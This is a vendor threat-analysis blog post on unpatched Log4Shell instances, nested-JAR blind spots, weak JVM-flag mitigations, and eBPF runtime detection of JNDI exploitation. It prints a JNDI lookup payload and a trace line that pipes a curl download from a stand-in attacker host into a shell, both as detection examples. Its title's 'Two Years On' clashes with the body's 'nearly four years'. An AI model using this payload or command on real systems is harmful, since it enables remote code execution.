Security Lab
Threat Analysis by Nadav Czerninski

Log4Shell, Two Years On: Unpatched Instances Persist and Runtime Finds Them

Nearly four years after CVE-2021-44228 was disclosed on December 9, 2021, vulnerable instances still run. The flaw had a CVSS score of 10.0. Apache Log4j 2.x was embedded across the Java ecosystem, including enterprise middleware, internal tooling, cloud infrastructure, and vendor SDKs. Most accessible instances were patched within months.

Services that were not patched quickly are often still unpatched. In production environments observed through our early-access program, teams continue to find running services with vulnerable Log4j 2.x versions. The library may be a direct dependency, buried three levels deep in a transitive chain, or included in a vendor fat JAR released before disclosure. Exploitation probes also persist. Automated internet scans still search for the Log4Shell pattern.

Patching Fails When Discovery Fails

SCA tooling advanced considerably after Log4Shell, while the wider push for software bills of materials gained momentum. Yet SCA can only list what it reaches. A legacy Java service on a VM, with no active CI/CD pipeline and a last deployment in 2019, may never be scanned again. The dependency remains, and the patch exists, but the scan needed to expose the gap never runs.

The unpatched Log4j population in late 2025 differs from the one seen in early 2022. Actively maintained applications were updated first. The remainder commonly includes vendor-managed platforms awaiting a vendor release, deeply embedded services without an active owner, and internal tools labeled "temporary" years ago that now support something important enough for nobody to risk changing.

Nested JARs make the issue harder. A Java application may package its dependencies in one executable JAR. That archive can contain a logging framework that itself includes Log4j. Dependency scanners examining pom.xml or build.gradle may miss Log4j packaged two levels within a bundled artifact. Manually checking every JAR is the only reliable approach, yet few teams can do so at scale.

The Attack Path at Kernel Level

Log4Shell injects a JNDI lookup expression into any string processed by Log4j. A typical example is an HTTP header: when Log4j records the User-Agent, it evaluates an embedded expression. The payload looks like this:

${jndi:ldap://attacker.example.com:1389/exploit}

Log4j resolves the JNDI URI with an outbound DNS query to attacker.example.com, connects to the attacker's LDAP server on port 1389, then retrieves a serialized Java class and loads it into the JVM. If the class runs a shell command, execution has been redirected.

At the kernel level, this sequence remains specific and observable whether or not the application is patched:

  1. The JVM process initiates a DNS query for a hostname embedded in user-supplied log input.
  2. The JVM opens a TCP connection to an external address on LDAP or LDAPS port (389, 636, or an alternative port configured in the payload).
  3. If the server responds with a serialized class reference, the JVM may issue a second HTTP or LDAP request to fetch it.
  4. If the class executes a shell command, the JVM spawns a child process via execve().
# eBPF kprobe trace: Log4Shell exploitation attempt
# process: java (pid 14423), 2025-10-07 03:44:12 UTC

sys_enter_connect:
  fd=7 addr=93.184.216.34:1389
  -> parent: java (pid 14423)
  -> cmdline: /usr/bin/java -jar /opt/app/service.jar

sys_enter_execve:
  filename=/bin/bash
  -> parent: java (pid 14423)
  -> args: ["/bin/bash", "-c", "curl http://attacker.example.com/p | sh"]

A JVM making an outbound connection to an LDAP port at an address beyond its normal network graph is a high-confidence signal. Combined with an execve to a shell from a JVM parent, it becomes definitive. Neither observation depends on whether the instance runs Log4j 2.14.1 or 2.17.1.

Configuration Mitigations Fall Short

Following the initial disclosure, a JVM system property was widely recommended as a mitigation: setting com.sun.jndi.ldap.object.trustURLCodebase=false blocks certain classloading paths. That was valid for particular Java versions and exploitation routes available in December 2021. Within weeks, published bypasses worked in environments with the flag enabled, depending on the Java version and available deserialization gadgets.

The proper fix is to update Log4j to a patched release. For Java 8 applications, the minimum safe version is Log4j 2.17.1. For Java 7, it is 2.12.4. For older Java versions, use 2.3.2. The JVM flag does not replace patching.

Many teams think they applied the mitigation and regard the service as protected. In reality, it may have been misconfigured, applied at the wrong layer, such as the parent JVM but not an embedded JVM, or ineffective for the exploitation route supported by their Java version combination.

Runtime Detection Value

Runtime monitoring is not a replacement for patching. Unpatched Log4j 2.x instances still need to be patched. The observation layer covers the interval between "the vulnerability exists" and "the patch is deployed," a period that has lasted years for some services.

Its practical role is prioritization. Vulnerable Log4j instances are not all being probed actively. Automated scanners sweep the internet broadly, while targeted exploitation focuses on services exposed to the internet and receiving attacker attention. Runtime telemetry identifies instances seeing active probe traffic, shifting the remediation queue from "CVSS score order" to "active exploitation order."

A team managing 40 services with vulnerable Log4j, including 3 currently receiving JNDI probe traffic, should prioritize patching those 3. Without runtime data, all 40 appear equally urgent by severity score, and the services under attack may not be patched first.

The Detection Signal in Action

Oligo tracks two main signals for this vulnerability class. The first is network behavior: outbound connections from Java processes to LDAP or LDAPS ports at addresses absent from the workload's established network baseline. The second is execution lineage: any execve call from a Java parent process to a shell binary or curl/wget.

For stable services, the network signal fires on the first exploitation probe, before a payload runs. For services with changing network behavior, execution lineage adds a safety net. Even when occasional LDAP connections support normal authentication, a shell spawned by a JVM parent falls outside any legitimate behavioral model.

The vulnerability is nearly four years old, yet exploitation probes continue. Attacks occur in the space between a scan finding and a service's actual production state. Runtime observation is designed to close that gap.

See these detection patterns in your clusters

Deploy Oligo's eBPF instrumentation and view the runtime graph for your workloads.

Request Access More Articles